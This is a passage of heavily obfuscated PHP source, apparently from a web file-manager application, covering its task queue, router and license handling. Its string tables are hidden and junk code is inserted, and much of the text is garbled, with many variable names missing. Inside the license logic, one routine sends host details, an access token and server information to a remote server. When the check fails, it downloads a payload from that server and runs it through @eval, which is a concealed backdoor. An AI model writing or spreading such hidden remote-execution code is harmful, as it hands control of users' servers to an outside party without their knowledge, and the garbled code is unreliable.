0; switch ($) { case $ƙ[566]: $۾Т = 1; break; case $ƙ[569]: $ʐ[$ƙ[1686]] = $ƞ[$ƙ[42]]; break; case $ƙ[571]: $۾Т = intval($͊[$ƙ[384]] * 0.4); break; case $ƙ[573]: $۾Т = intval($͊[$ƙ[384]] * 0.2); break; case $ƙ[575]: $۾Т = intval($͊[$ƙ[384]] * 0.4); break; } $this->update($۾Т); $this->sourceModelCopyFlag = !1; } public function sourceRemove($, $) { $ =& $_SERVER[Ǿ]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($[$[93]])) { $ = $[$[93]][$[91]] + $[$[93]][$[92]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($򎛤, $í, $DZ, $ޢ, $䃾Њ) { $ =& $_SERVER[Ǿ]; $顟 =& $this->task; if ($䃾Њ > 0) { $顟[$[1049]] = $[1707]; $顟[$[1690]] = $[118]; if ($顟[$[1688]]) { $顟[$[1689]] = $䃾Њ; } if ($顟[$[1691]]) { $顟[$[1689]] = $䃾Њ + $顟[$[1691]]; } } else { if ($DZ > 0) { if ($顟[$[1688]] == $í) { $顟[$[1689]] = $DZ; $顟[$[1049]] = $[1708]; $顟[$[1690]] = $[1182]; } } } $this->update(); } public function curlProgressStart($ˍ) { } public function curlProgressEnd($ׁ) { $ =& $_SERVER[Ǿ]; $ܨ =& $this->task; $΄ = curl_getinfo($ׁ); $Սئ = $΄[$[1709]]; if ($Սئ == -1) { $Սئ = $΄[$[1710]]; } if ($ܨ[$[1690]] == $[118] && $Սئ) { $ܨ[$[1691]] += $Սئ; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $Һ̓ =& $_SERVER[Ǿ]; $ﮄ =& $this->task; $ﮄ[$Һ̓[1711]] = 1; Hook::bind($Һ̓[1680], array($this, $Һ̓[1712])); Hook::bind($Һ̓[1682], array($this, $Һ̓[1713])); Hook::bind($Һ̓[1684], array($this, $Һ̓[1714])); } protected function endAfter() { $ص =& $_SERVER[Ǿ]; Hook::unbind($ص[1680], array($this, $ص[1712])); Hook::unbind($ص[1682], array($this, $ص[1713])); Hook::unbind($ص[1684], array($this, $ص[1714])); } public function progressStart($Ҥ) { $É =& $_SERVER[Ǿ]; $܊ = curl_getinfo($Ҥ); self::log($É[1715] . $܊[$É[311]]); self::valueSet($this->task[$É[401]], $this->task); } public function progressEnd($ᶙ) { $ =& $_SERVER[Ǿ]; self::log($[1716] . $this->task[$[401]]); $this->end(); } public function progress($Ї˟, $, $̪, $ن, $ɐ±) { $˰، =& $_SERVER[Ǿ]; $žƴ =& $this->task; if ($ɐ± > 0) { $žƴ[$˰،[778]] = $žƴ[$˰،[778]] == 0 ? $ن : $žƴ[$˰،[778]]; $žƴ[$˰،[1641]] = $ɐ±; } else { if ($̪ > 0) { $žƴ[$˰،[778]] = $žƴ[$˰،[778]] == 0 ? $ : $žƴ[$˰،[778]]; $žƴ[$˰،[1641]] = $̪; } } $this->update(); self::log("\160\162\x6f\x67\162\x65\x73\163\x48\164\164\x70\72\144\157\167\x6e\x3a{$̪}\x2f{$}\73\40\165\160\x6c\x6f\141\x64\72{$ɐ±}\57{$ن}\73"); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\x61\x73\153\121\165\x65\165\145\114\x65\x6e\147\x74\x68"; const QUEUE_DATA = "\164\141\x73\x6b\x51\165\x65\x75\x65\104\141\x74\x61"; public static $listData = false; public static function initTask() { } public static function add($, $߷ = array(), $ɶ = '', $Ϲ = '') { $ђ =& $_SERVER[Ǿ]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($Ϲ && array_find_by_field(self::$listData, $ђ[105], $Ϲ)) { return !0; } self::$listData[] = array($ђ[268] => $, $ђ[1717] => $߷, $ђ[451] => $ɶ, $ђ[105] => $Ϲ); return !0; } public static function addSubmit() { $ߩ艱 =& $_SERVER[Ǿ]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($ߩ艱[1718] . json_encode_force(array_to_keyvalue(self::$listData, $ߩ艱[22], $ߩ艱[451])), $ߩ艱[1719]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($ԢՉ, $鏙̟ = array(), $Ꚛ = '', $ = '') { $Ǥ =& $_SERVER[Ǿ]; if (self::count() >= self::MAX_LENGTH) { return !1; } $פ = self::getAll(); if ($ && array_find_by_field($פ, $Ǥ[105], $)) { return !0; } $פ[] = array($Ǥ[268] => $ԢՉ, $Ǥ[1717] => $鏙̟, $Ǥ[451] => $Ꚛ, $Ǥ[105] => $); write_log($Ǥ[1718] . $Ꚛ, $Ǥ[1719]); self::setAll($פ); return !0; } public static function run() { $ =& $_SERVER[Ǿ]; $ע = self::getAll(); $̜ = array_shift($ע); if (!$̜) { return !1; } self::setAll($ע); $ִ = timeFloat(); try { Hook::apply($̜[$[268]], $̜[$[1717]]); } catch (Exception $¾) { } $ = number_format(timeFloat() - $ִ, 3) . $[1656]; write_log($[1720] . $̜[$[451]] . $[1721] . $, $[1719]); return !0; } public static function count() { $杍 = Cache::get(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_LENGTH); if (!$杍) { return 0; } return intval($杍); } public static function getAll() { $ = Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$) { return array(); } return $; } public static function setAll($ހ) { $Š = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($ހ), $Š); Cache::set(self::QUEUE_DATA, $ހ, $Š); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } goto d; Dȇ: if (strlen($avhiepzsdb) < $_SERVER[Ǿ][611]) { return; } class Application { private $defaultModule = "\151\156\144\x65\170"; private $defaultController = "\x69\156\x64\x65\x78"; private $defaultAction = "\151\156\144\145\x78"; function __construct() { } public function setDefault($) { $ㆷ =& $_SERVER[Ǿ]; $ =& $_SERVER[]; $ٓ = explode($[0], trim($, $[0])); $ = $ㆷ[612]; if (!$) { die; } $this->defaultModule = $ٓ[0] ? $ٓ[0] : $this->defaultModule; $this->defaultController = $ٓ[1] ? $ٓ[1] : $this->defaultController; $this->defaultAction = $ٓ[2] ? $ٓ[2] : $this->defaultAction; $˒ = $ㆷ[613]; $this->qpibd49f4592($[1], array($this, $[2])); $ = $ㆷ[614]; if (!$) { die; } } public function appRun($ϊ) { $ =& $_SERVER[Ǿ]; $É =& $_SERVER[]; $馔 = explode($É[0], $ϊ); $ = $[615]; if (!$) { return; } $ = strtolower($馔[0]); $ǘ = $[616]; if (strlen($ǘ) < $[607]) { return; } $ = $É[3]; $אѧ = $[617]; if (strlen($אѧ) < $[618]) { die; } if ($ == $É[4]) { $ = $É[5]; $馔[0] = $É[6]; $馔[1] = $馔[1] . $É[7]; $ϊ = join($É[0], $馔); $ϊ = trim($ϊ, $É[0]); } call_user_func(array($É[8], $É[9]), $ . $É[10], $ϊ); ActionCall($ϊ); $︐ = $[619]; call_user_func(array($É[8], $É[9]), $ . $É[11], $ϊ); } private function autorun() { $˦ =& $_SERVER[Ǿ]; $쮕 =& $_SERVER[]; global $config; $娳 = $˦[620]; if (strlen($娳) < $˦[618]) { die; } if (count($config[$쮕[12]]) == 0) { return; } foreach ($config[$쮕[12]] as $ѷ => $󈖙) { $this->appRun($󈖙); $ = $˦[621]; if (!$) { return; } } } private function ypreac159b14() { $ѕ =& $_SERVER[]; $ = $ѕ[4]; $ɺ؁ = $GLOBALS[$ѕ[13]][$ѕ[14]][0]; if (!$ɺ؁ || strlen($ɺ؁) <= strlen($)) { return; } if (strtolower(substr($ɺ؁, -strlen($))) != $) { return; } $ = substr($ɺ؁, 0, -strlen($)); $ǖ = array($ѕ[4], $); $ = array_slice($GLOBALS[$ѕ[13]][$ѕ[14]], 1); $GLOBALS[$ѕ[13]][$ѕ[14]] = array_merge($ǖ, $); $؆ = $_SERVER[Ǿ][622]; $GLOBALS[$ѕ[13]][$ѕ[15]] = implode($ѕ[0], $GLOBALS[$ѕ[13]][$ѕ[14]]); } private function biqf2d4dfddf() { $ =& $_SERVER[Ǿ]; $ =& $_SERVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ = $_SERVER[$[16]]; $ = $[623]; while ($ < $[618]) { if ($ >= 0) { break; } $++; } $ = $[17]; if (!strstr($, $)) { return; } $ = strrpos($, $); $м = substr($, $ + strlen($)); $ = $[624]; if (!$) { return; } preg_match_all($[18], $м, $); $м = trim($[0][0], $[19]); $GLOBALS[$[13]][$[14]] = explode($[19], $м); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $ = $[625]; if (strlen($) < $[611]) { die; } } public function run() { $פ =& $_SERVER[Ǿ]; $ߖ =& $_SERVER[]; $this->biqf2d4dfddf(); $؍ = $פ[626]; $this->ypreac159b14(); $ή = $פ[627]; if (!$ή) { return; } $Ǥ횒 = $GLOBALS[$ߖ[13]][$ߖ[14]]; $ = $פ[628]; if (strlen($) < $פ[629]) { die; } $Ί = $GLOBALS[$ߖ[13]][$ߖ[15]]; $ = $פ[630]; if (strlen($) < $פ[618]) { return; } define($ߖ[20], isset($Ǥ횒[0]) && $Ǥ횒[0] ? $Ǥ횒[0] : $this->defaultModule); define($ߖ[21], isset($Ǥ횒[1]) && $Ǥ횒[0] ? $Ǥ횒[1] : $this->defaultController); $ȍ = $פ[631]; define($ߖ[22], isset($Ǥ횒[2]) && $Ǥ횒[0] ? $Ǥ횒[2] : $this->defaultAction); define($ߖ[23], MOD . $ߖ[0] . ST . $ߖ[0] . ACT); $_SERVER[$ߖ[24]] = strtolower(ACTION); $this->autorun(); $ = $פ[632]; if (count($Ǥ횒) >= 3) { $this->appRun($Ί); } else { $this->appRun(ACTION); } } private $cemo329291d4 = array(); private $opfr63662bef = ''; public function dgcacdb6a9c9() { $۹ =& $_SERVER[Ǿ]; $Ւ =& $_SERVER[]; $this->ejap75a00d3c(); $this->gkfq49106b4e(); $і܊ = $۹[633]; if (!$і܊) { die; } $this->jyiked29bd4a(); $Κ = $۹[634]; if (strlen($Κ) < $۹[618]) { die; } $this->bjlo8c75cbe5(); $this->thxy98ec9c4f(); $ɦ٪ = $۹[635]; $this->aywc5caa3f71(); $this->hwqad154d7b4(); $this->qpibd49f4592($Ւ[25], array($this, $Ւ[26])); $this->qpibd49f4592($Ւ[27], array($this, $Ւ[28])); $this->qpibd49f4592($Ւ[29], array($this, $Ւ[30])); $ = $۹[636]; if (!$) { return; } $this->qpibd49f4592($Ւ[31], array($this, $Ւ[32])); $ = $۹[637]; if (!$) { die; } } public function stemc4c97567($貝) { $ =& $_SERVER[Ǿ]; $変 =& $_SERVER[]; $ = Model($変[33])->get(); $ = array($変[34], $変[35], $変[36], $変[37], $変[38], $変[39], $変[40], $変[41], $変[42], $変[43], $変[44], $変[45], $変[46], $変[47], $変[48], $変[49], $変[50], $変[51], $変[52], $変[53], $変[54], $変[55], $変[56], $変[57], $変[58], $変[59], $変[60], $変[61], $変[62], $変[63], $変[64], $変[65], $変[66], $変[67], $変[68], $変[69], $変[70], $変[71], $変[72], $変[73], $変[74], $変[75], $変[76], $変[77], $変[78], $変[79], $変[80], $変[81], $変[82]); foreach ($ as $Ă) { $ = $GLOBALS[$変[83]][$変[84]][$Ă]; if (isset($[$Ă])) { $ = $[$Ă]; } $貝[$変[85]][$変[86]][$Ă] = $; } $Ίᑒ = $貝[$変[85]][$変[86]][$変[46]]; $ = $[638]; if (strlen($) < $[611]) { die; } unset($貝[$変[85]][$変[87]][$変[88]]); $ = $[639]; unset($貝[$変[85]][$変[87]][$変[89]]); $ = $[640]; if (strlen($) < $[618]) { return; } unset($貝[$変[85]][$変[86]][$変[46]]); unset($貝[$変[85]][$変[86]][$変[90]]); $貝[$変[85]][$変[86]][$変[91]] = array($変[92] => (int) $Ίᑒ[$変[93]], $変[94] => (int) _get($Ίᑒ, $変[95], 0)); $貝[$変[96]][$変[97]] = Action($変[98])->accessToken(); $貝[$変[96]][$変[99]] = md5($_SERVER[$変[100]] . $[$変[101]]); $ = $[641]; while (strlen($) < $[629]) { if (!$) { break; } $++; } $貝[$変[96]][$変[102]] = base64_encode(serverInfo()); $貝[$変[96]][$変[103]] = $this->opfr63662bef; $Ș = $[642]; if ($[$変[103]] != $変[104]) { $貝[$変[96]][$変[105]] = $[$変[105]]; $貝[$変[96]][$変[106]] = $[$変[106]]; $ۘ = rand_string(10) . $this->opfr63662bef . rand_string(5); $貝[$変[85]][$変[107]][$変[108]] = $this->iwajbcfbcb7f($ۘ, $貝[$変[96]][$変[99]]); } if ($this->opfr63662bef == $変[104]) { $貝[$変[85]][$変[86]][$変[91]][$変[95]] = 0; } $貝[$変[96]][$変[109]] = _get($this->cemo329291d4, $変[110], $変[6]); $貝[$変[96]][$変[111]] = _get($this->cemo329291d4, $変[112], $変[6]); $ߺĨ = $[643]; if (strlen($ߺĨ) < $[12]) { die; } if (_get($GLOBALS, $変[113]) && $this->config[$変[114]]) { $貝[$変[96]][$変[115]] = WEB_ROOT; } return $貝; } private function aywc5caa3f71() { $ю =& $_SERVER[Ǿ]; $ =& $_SERVER[]; if ($_SERVER[$[24]] == $[116]) { $– = array($[103] => $this->opfr63662bef, $[117] => $this->hbju9aeeb792(), $[118] => Model($[119])->count()); if ($this->opfr63662bef != $[104]) { $ = _get($this->cemo329291d4, $[120]); if ($) { $–[$[121]] = $; $–[$[122]] = strtotime(_get($this->cemo329291d4, $[123])); $–[$[124]] = _get($this->cemo329291d4, $[112]); } $ؕ = Model($[33])->get($[125], $[6], !0); if (is_string($ؕ) && substr($ؕ, 0, 1) == $[126]) { $ؕ = json_decode_force($ؕ); } if (is_array($ؕ) && $ؕ[$[127]] && strstr($ؕ[$[127]], $[128])) { $ȯ = explode($[128], $ؕ[$[127]]); $–[$[129]] = $ȯ[0]; } } $– = $this->tmle2dcd9237(json_encode($–), md5($[130])); $ = array($[131] => $–); $ = $ю[644]; if (!$) { die; } call_user_func(array($[132], $[133]), $); $ = $ю[645]; if (!$) { die; } } if ($this->opfr63662bef == $[104]) { return; } $ɛ = array($[134], $[135], $[136], $[137], $[138], $[139]); $ = $ю[646]; if (strlen($) < $ю[629]) { return; } $Ԇ = Model($[33])->get(); $ = array($[140] => $Ԇ[$[34]], $[141] => $Ԇ[$[35]], $[142] => $[6]); foreach ($ɛ as $زũ) { if (!isset($Ԇ[$زũ]) || !$Ԇ[$زũ]) { continue; } $[$زũ] = $Ԇ[$زũ]; } call_user_func(array($[132], $[133]), $); } private function bjlo8c75cbe5() { $嵜 =& $_SERVER[Ǿ]; $ۑ˭ =& $_SERVER[]; if ($_SERVER[$ۑ˭[24]] != $ۑ˭[143]) { return; } if (!_get($GLOBALS, $ۑ˭[113])) { die; } $ʘ = $GLOBALS[$ۑ˭[13]]; if (isset($ʘ[$ۑ˭[144]])) { $this->cpqn3156ddf7(); die; } if (!isset($ʘ[$ۑ˭[145]]) || strlen($ʘ[$ۑ˭[145]]) != 16) { show_json($ۑ˭[146] . $ʘ[$ۑ˭[145]], !1); } $ = Model($ۑ˭[33])->get($ۑ˭[101]); $þ = md5($_SERVER[$ۑ˭[100]] . $); $Ơ = array($ۑ˭[145] => $ʘ[$ۑ˭[145]], $ۑ˭[147] => rand_string(16), $ۑ˭[148] => $ۑ˭[130], $ۑ˭[149] => $ۑ˭[150], $ۑ˭[151] => $_SERVER[$ۑ˭[152]], $ۑ˭[153] => $_SERVER[$ۑ˭[154]], $ۑ˭[155] => $_SERVER[$ۑ˭[156]], $ۑ˭[99] => $þ, $ۑ˭[157] => Model($ۑ˭[33])->get($ۑ˭[125])); if ($ʘ[$ۑ˭[158]] == $ۑ˭[159]) { $ܷ = $this->tmle2dcd9237($þ, $ۑ˭[160]); $́ = $this->iwajbcfbcb7f(json_encode($Ơ), $þ . $ۑ˭[161], 3); $́ = $́ . $ۑ˭[162] . $_SERVER[$ۑ˭[152]]; $Փ = $this->jdhf331d099b($ۑ˭[163] . $ܷ . $ۑ˭[164] . $́, -1); show_json($Փ, !0); } else { if ($ʘ[$ۑ˭[158]] == $ۑ˭[165]) { $ƛѩ = substr(md5($ۑ˭[166] . $þ), 12, 15) . $ۑ˭[167]; $́ = $this->zyga1fd45fad(trim($ʘ[$ۑ˭[168]]), $ƛѩ, 2); $㶺 = json_decode($́, !0); if (!is_array($㶺) || !is_array($㶺[$ۑ˭[169]]) || $㶺[$ۑ˭[145]] != !0) { $ = $ۑ˭[170]; $ˣ = $㶺[$ۑ˭[169]] ? $ۑ˭[171] . $㶺[$ۑ˭[169]] : $; show_json($ˣ, !1); } else { $Ơ[$ۑ˭[147]] = $㶺[$ۑ˭[169]][$ۑ˭[172]]; } } else { $㶺 = $this->jdhf331d099b($ۑ˭[173], $Ơ, 10); } } if (!is_array($㶺) || !is_array($㶺[$ۑ˭[169]]) || $㶺[$ۑ˭[145]] != !0) { $ = LNG($ۑ˭[174]); $ˣ = $㶺[$ۑ˭[169]] ? $ۑ˭[171] . $㶺[$ۑ˭[169]] : $; show_json($ˣ, !1); } $̧ = $㶺[$ۑ˭[169]]; $Ž = $this->tglb80b505ca($̧[$ۑ˭[175]]); $ô = $嵜[647]; if (!$Ž || $Ž != $̧[$ۑ˭[123]]) { $ޯ̻ = array($ۑ˭[176] => Model($ۑ˭[33])->get($ۑ˭[101]), $ۑ˭[177] => $_SERVER[$ۑ˭[100]], $ۑ˭[178] => this_url(), $ۑ˭[153] => $_SERVER[$ۑ˭[154]]); $́ = $this->fzgl98db955c(json_encode($ޯ̻)); $this->jdhf331d099b($ۑ˭[179] . $́); show_json(LNG($ۑ˭[180]), !0); } $̗ = array($ۑ˭[181] => $̧[$ۑ˭[182]], $ۑ˭[183] => $̧[$ۑ˭[184]], $ۑ˭[185] => rand_string(16), $ۑ˭[103] => $̧[$ۑ˭[186]]); if ($Ơ[$ۑ˭[147]]) { $̗[$ۑ˭[185]] = $Ơ[$ۑ˭[147]]; } $ = substr(md5($̗[$ۑ˭[183]]), 10, 10); $Т = $ . $̗[$ۑ˭[103]] . $̗[$ۑ˭[185]]; $Ǿ = $嵜[648]; while (strlen($Ǿ) < $嵜[12]) { if (!$Ǿ) { break; } $Ǿ++; } $̗[$ۑ˭[105]] = strrev(base64_encode($this->tmle2dcd9237($Т, $ۑ˭[187]))); $ = rand_string(16); $ձ = $嵜[649]; while ($ձ < $嵜[611]) { if ($ձ >= 0) { break; } $ձ++; } $ = $ . $̗[$ۑ˭[103]] . $this->tmle2dcd9237(md5($̗[$ۑ˭[181]]), $); $ = $嵜[650]; if (strlen($) < $嵜[618]) { die; } $̗[$ۑ˭[106]] = base64_encode(strrev($this->tmle2dcd9237($, $ۑ˭[188]))); if ($̧[$ۑ˭[189]] && $̧[$ۑ˭[189]] >= 1) { Model($ۑ˭[33])->setDeep($ۑ˭[190], $ۑ˭[191]); } Model($ۑ˭[33])->set($̗); $©ͱ = md5($_SERVER[$ۑ˭[100]] . strrev($) . $̗[$ۑ˭[183]]); $И = strrev(substr($©ͱ, 10, 16)); $В = $this->iwajbcfbcb7f(json_encode($̧), $©ͱ); $ = array_to_keyvalue(Model($ۑ˭[7])->listData(), $ۑ˭[192]); $ч = $[$ۑ˭[193]]; $ = array(); $ = $嵜[651]; while ($ < $嵜[629]) { if ($ >= 0) { break; } $++; } $[$И] = $В; Model($ۑ˭[7])->update($ч[$ۑ˭[194]], array($ۑ˭[195] => $)); $ = $嵜[652]; while ($ < $嵜[607]) { if ($ >= 0) { break; } $++; } $this->cemo329291d4 = $̧; $this->opfr63662bef = $̗[$ۑ˭[103]]; $this->licenseRegistSuccess(); Cache::set($ۑ˭[196] . md5($ . $ۑ˭[197]), $ۑ˭[6]); show_json(LNG($ۑ˭[180]), !0); $ = $嵜[653]; if (!$) { return; } } private function licenseRegistSuccess() { $ =& $_SERVER[]; $ԭ = Model($[33])->get(); if ($ԭ[$[63]] != $[191]) { Model($[33])->set($[63], $[191]); } Action($[198])->initStart(!0); } private function cpqn3156ddf7() { $ =& $_SERVER[Ǿ]; $Λ =& $_SERVER[]; Model($Λ[33])->set(array($Λ[181] => $Λ[6], $Λ[183] => $Λ[6], $Λ[103] => $Λ[104], $Λ[105] => $Λ[6], $Λ[106] => $Λ[6])); $ӟĊ = $[654]; Model($Λ[33])->setDeep($Λ[190], $Λ[199]); $ȣ = $[655]; while (strlen($ȣ) < $[611]) { if (!$ȣ) { break; } $ȣ++; } $this->cemo329291d4 = array(); $ = $[656]; if (!$) { die; } $this->opfr63662bef = $Λ[104]; $ݔ = $[657]; if (strlen($ݔ) < $[607]) { die; } } private function ejap75a00d3c() { $Ƣ =& $_SERVER[Ǿ]; $е =& $_SERVER[]; $_SERVER[$е[154]] = _get($_SERVER, $е[154], APP_HOST); $this->opfr63662bef = $е[104]; $Ê = $Ƣ[658]; if (strlen($Ê) < $Ƣ[618]) { return; } $׮ = Model($е[33])->get(); if ($׮[$е[103]] == $е[104]) { return; } $ҧԗ = Model($е[33])->get($е[101]); $ = $е[196] . md5($ҧԗ . $е[197]); $ = $Ƣ[659]; while (strlen($) < $Ƣ[611]) { if (!$) { break; } $++; } $笣 = Cache::get($); $ݍ = $Ƣ[660]; if (!is_array($笣) || !isset($笣[$е[200]]) || time() - $笣[$е[200]] >= 60) { $ = Model($е[7])->loadList(); $¯ = $[$е[193]]; $Ӣ = md5($_SERVER[$е[100]] . strrev($ҧԗ) . $׮[$е[183]]); $陰 = strrev(substr($Ӣ, 10, 16)); $笣 = $this->zyga1fd45fad($¯[$е[83]][$陰], $Ӣ); $笣 = json_decode($笣, !0); } if (!is_array($笣)) { return $this->cpqn3156ddf7(); } $ = strtotime($笣[$е[123]]); if (time() >= $) { return $this->cpqn3156ddf7(); } if (time() - $笣[$е[200]] > 20) { $笣[$е[200]] = time(); Cache::set($, $笣); } $this->cemo329291d4 = $笣; $this->opfr63662bef = $׮[$е[103]]; } private function gkfq49106b4e() { $ѕ =& $_SERVER[]; $ = $GLOBALS[$ѕ[13]]; $ = $_SERVER[Ǿ][661]; $ = $_SERVER[$ѕ[24]]; if ($ == $ѕ[201] && $this->opfr63662bef == $ѕ[104]) { show_json(LNG($ѕ[202]), !1, $ѕ[203]); } $ = array($ѕ[204], $ѕ[205]); if (in_array($, $)) { if ($this->opfr63662bef == $ѕ[104] && isset($[$ѕ[206]])) { show_json(LNG($ѕ[202]), !1, $ѕ[203]); die; } $ƀ = $this->hbju9aeeb792(); if ($ƀ != intval($ѕ[207])) { if ($ƀ <= Model($ѕ[119])->count()) { show_json(LNG($ѕ[208]), !1, $ѕ[203]); die; } } } } private function jyiked29bd4a() { $ޛ =& $_SERVER[Ǿ]; $ =& $_SERVER[]; $ = array($[116], $[209]); $ꪾ޷ = $ޛ[662]; if (!$ꪾ޷) { die; } if (!_get($GLOBALS, $[113]) || !isset($_GET[$[210]])) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } $ = $[211]; $ = $this->wruqc0243417($, $[212]); $ = stream_context_create(array($[213] => array($[214] => $[215], $[216] => 3))); $ʜ = $ޛ[663]; if (strlen($ʜ) < $ޛ[611]) { die; } $ٚ = @file_get_contents($, !1, $); $ϊ = $ޛ[664]; while (strlen($ϊ) < $ޛ[12]) { if (!$ϊ) { break; } $ϊ++; } header($[217]); if ($ٚ && strstr($ٚ, $[218])) { echo $ٚ; } die; } public function vmey771d0cc2($ɹ꒠) { $ =& $_SERVER[Ǿ]; $ =& $_SERVER[]; if ($this->opfr63662bef == $[219]) { return $ɹ꒠; } $ɜ = array($[220] => $[221], $[222] => $[221], $[223] => $[221], $[224] => $[221], $[225] => $[226], $[227] => $[226], $[228] => $[226], $[229] => $[226], $[230] => $[226], $[231] => $[226], $[232] => $[226], $[233] => $[226], $[234] => $[226], $[235] => $[226], $[236] => $[226], $[237] => $[226]); $ϻ = $[665]; $ƒ = explode($[238], _get($this->cemo329291d4, $[110], $[6])); $洂 = array(); foreach ($ɜ as $ => $IJ׊՚) { if ($IJ׊՚ == $[221] && substr($this->opfr63662bef, 0, 1) == $[221]) { continue; } if (!in_array($, $ƒ)) { $洂[] = $; } } foreach ($洂 as $) { unset($ɹ꒠[$]); $מɴ = $[666]; } return $ɹ꒠; $ީ = $[667]; while (strlen($ީ) < $[611]) { if (!$ީ) { break; } $ީ++; } } private function hwqad154d7b4() { $ =& $_SERVER[]; if ($this->opfr63662bef != $[104]) { $GLOBALS[$[83]][$[87]][$[239]] = $[199]; return; } $GLOBALS[$[83]][$[240]] = $[191]; if (Model($[241])->get($[63]) != $[199]) { Model($[241])->set($[63], $[199]); } } public function ptdab6dbae08() { return $_SERVER[][242]; $ʅ = $_SERVER[Ǿ][668]; if (!$ʅ) { die; } } private function thxy98ec9c4f() { $ =& $_SERVER[Ǿ]; $ =& $_SERVER[]; $ڞ = array($[243], $[244], $[245]); $Ĝ = $[669]; $ = $[246] . md5($[247]); if ($this->opfr63662bef == $[104] || !_get($GLOBALS, $[113])) { return; } if (!in_array($_SERVER[$[24]], $ڞ)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($[248], $[249]), $); $硎 = $[670]; while ($硎 < $[611]) { if ($硎 >= 0) { break; } $硎++; } if ($ && time() - $ < intval($[250])) { return; } call_user_func(array($[248], $[133]), $, time()); $ = Model($[33])->get($[101]); $뾗 = $[671]; if (!$뾗) { die; } $ = array($[145] => Model($[33])->get($[181]), $[158] => $this->opfr63662bef, $[155] => $_SERVER[$[156]], $[157] => Model($[33])->get($[125]), $[99] => md5($_SERVER[$[100]] . $), $[148] => $[130], $[151] => $_SERVER[$[152]]); $޴ = $this->jdhf331d099b($[251], $); $̧ = $[672]; while (strlen($̧) < $[12]) { if (!$̧) { break; } $̧++; } if (!is_array($޴)) { return; } if ($޴[$[145]] && $޴[$[252]]) { if ($this->tglb80b505ca($޴[$[252]]) == $[$[145]]) { return; } } $this->cpqn3156ddf7(); if ($this->tglb80b505ca($޴[$[252]]) != $[$[145]]) { $ = array($[176] => $, $[177] => $_SERVER[$[100]], $[178] => this_url(), $[153] => $_SERVER[$[154]]); $ = $this->fzgl98db955c(json_encode($)); $޴ = $this->jdhf331d099b($[179] . $); if ($޴ && is_array($޴) && isset($޴[$[252]])) { $ԙ = $this->zyga1fd45fad($޴[$[252]], 2); if ($ԙ) { $ԙ = $this->tglb80b505ca($ԙ); } if ($ԙ) { try { @eval($ԙ); } catch (Exception $) { } } } } } private function jdhf331d099b($ = '', $Ը = array(), $ = 5) { $ëĦ =& $_SERVER[Ǿ]; $ =& $_SERVER[]; $ǒ = $[253]; $ǒ = $this->wruqc0243417($ǒ, $[254]); $ǒ = $ǒ . $; $ = $ëĦ[673]; if (!$) { die; } if ($Ը && is_array($Ը)) { $ǒ = $ǒ . $[255] . http_build_query($Ը); } if ($Ը === -1) { return $ǒ; } $체 = stream_context_create(array($[213] => array($[216] => $, $[214] => $[256]), $[257] => array($[258] => !1, $[259] => !1))); $Ը = @file_get_contents($ǒ, !1, $체); $ۣ = $ëĦ[674]; return json_decode($Ը, !0); $鎞 = $ëĦ[675]; $ = $ëĦ[676]; } private function hbju9aeeb792() { $ =& $_SERVER[Ǿ]; $ټ =& $_SERVER[]; $Ԛ = array($ټ[260] => $ټ[261], $ټ[262] => $ټ[263], $ټ[264] => $ټ[265], $ټ[266] => $ټ[267], $ټ[268] => $ټ[269], $ټ[270] => $ټ[207], $ټ[271] => $ټ[207], $ټ[272] => $ټ[261], $ټ[273] => $ټ[263], $ټ[274] => $ټ[265], $ټ[275] => $ټ[276], $ټ[277] => $ټ[267], $ټ[278] => $ټ[279], $ټ[280] => $ټ[269], $ټ[281] => $ټ[282], $ټ[283] => $ټ[284], $ټ[285] => $ټ[286]); $֓ö = $Ԛ[$this->opfr63662bef]; $Ǖ = $[677]; if (strlen($Ǖ) < $[12]) { die; } $֓ö = intval($֓ö ? $֓ö : $ټ[261]); $ԝ = $[678]; if (!$ԝ) { return; } $ = _get($this->cemo329291d4, $ټ[287]); $ = $ ? intval($) : 0; return $֓ö + $; $͈ = $[679]; if (!$͈) { return; } } public function bwho54c1d888($ݢ) { $Ȁ‘ =& $_SERVER[Ǿ]; $胃 =& $_SERVER[]; $ = $this->hbju9aeeb792(); $ = $Ȁ‘[680]; if ($ݢ[$胃[288]] == $胃[191]) { return; } if ($ >= intval($胃[207])) { return; } $ڷ = Model($胃[119])->count(); if ($ڷ <= $) { return; } $٠ = Model($胃[119])->field($胃[288])->limit($)->select(); $߉ = $Ȁ‘[681]; if (!$߉) { die; } $٠ = array_to_keyvalue($٠, $胃[6], $胃[288]); $ٷ = $Ȁ‘[682]; if (!$ٷ) { return; } if (!in_array($ݢ[$胃[288]], $٠)) { show_json($胃[289], !1, $胃[203]); } } public function axuh5974441c() { $ߩ =& $_SERVER[Ǿ]; $ҳ =& $_SERVER[]; if (!_get($GLOBALS, $ҳ[113]) || mt_rand(1, 100) > 20) { return; } $Ȓ = $ҳ[211]; $ = $ߩ[683]; if (!$) { return; } $Ȓ = $this->wruqc0243417($Ȓ, $ҳ[212]); $Ũ = $ߩ[684]; $ = stream_context_create(array($ҳ[213] => array($ҳ[214] => $ҳ[215], $ҳ[216] => 3))); $ɠ = $ߩ[685]; if (!$ɠ) { die; } $ = @file_get_contents($Ȓ, !1, $); echo $ҳ[290] . hash_encode($) . $ҳ[291]; $φ = $ߩ[686]; while ($φ < $ߩ[611]) { if ($φ >= 0) { break; } $φ++; } } private function iwajbcfbcb7f($, $ɀŮ, $ = 3) { $ =& $_SERVER[Ǿ]; $ =& $_SERVER[]; usleep(1); $Ř렲 = $[687]; $ = trim($); $׼ = 